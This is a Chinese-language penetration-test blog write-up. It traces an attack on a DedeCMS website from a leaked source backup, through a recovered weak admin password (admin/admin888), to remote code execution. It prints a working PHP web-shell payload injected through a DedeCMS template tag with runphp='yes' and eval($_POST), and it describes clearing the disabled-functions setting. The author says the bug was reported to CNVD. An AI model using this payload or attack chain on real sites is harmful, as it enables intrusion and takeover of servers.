記一次從源碼泄露到getshell
Ann2021-12-27 07:14:24
前言:
此次滲透中的所有修改已經復原,且漏洞已經提交至cnvd平臺
源碼泄露
在一個月黑風高的夜晚,閑來無事的我又開著腳本利用hunter進行互聯網站點源碼的掃描
在查看備份文件掃描結果時,看到了寶貝

二話不說,訪問下載得到源碼!
可以在注釋信息處發現dedecms的痕跡

敏感信息泄露
獲得源碼的第一步當然是獲取敏感信息
先嘗試全局搜索(crtl+shift+f)關鍵詞
key pwd passwd password
1.數據庫信息泄露

2.后臺管理員密碼泄露

md5解密嘗試解密,居然是一個弱口令

有了賬戶密碼后當然是要找到后臺管理地址,那么有了源碼后臺管理地址還不是手到擒來?
后臺RCE->getshell
源碼中找到后臺地址(居然改了個888)

用泄露的admin/admin888進入后臺后,發現版本信息為dedecms PS1
歷史漏洞
既然已經獲得了cms信息,第一步當然看看他的歷史漏洞
查找SP1歷史漏洞都是遠程代碼包含漏洞,但是這個站點已經將關鍵文件install.php刪除(源碼中不存在)
抱著僥幸心里又去嘗試訪問l一下(說不定后來又加上了呢)確實不存在,只能繼續查看其他功能點
然后也嘗試測試了許多SP2的漏洞payload但均失敗
繼續測試其他點
繼續查看發現系統設置->系統基本參數->其他選項中有模板引擎的禁用函數

但是明明沒有模板引擎功能他為什么要禁用呢?
我帶著這個疑問又重新翻看源碼
果然又找到模板相關文件,(說明只是功能點被隱藏,文件依舊還在)

嘗試訪問,成功訪問到并且能夠正常執行

那么就好辦了,根據dedecms模板規則,后臺模板寫入payload,訪問即可執行PHP代碼
{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}
//調用方式 [field:字段名/] 這里的關鍵是runphp='yes'
//php代碼則是簡單的一句話
然后去將其他選項中的禁用函數全部刪除保存

因為注入到了index.htm
所以連接webshell 的 url為首頁
http://xxxxx:9890/index.php

成功getshell

本來還應該通過源碼泄露得到的數據庫賬戶密碼嘗試連接數據庫的,但這里刪shell跑路太急了就忘記了測了
Ann
暫無描述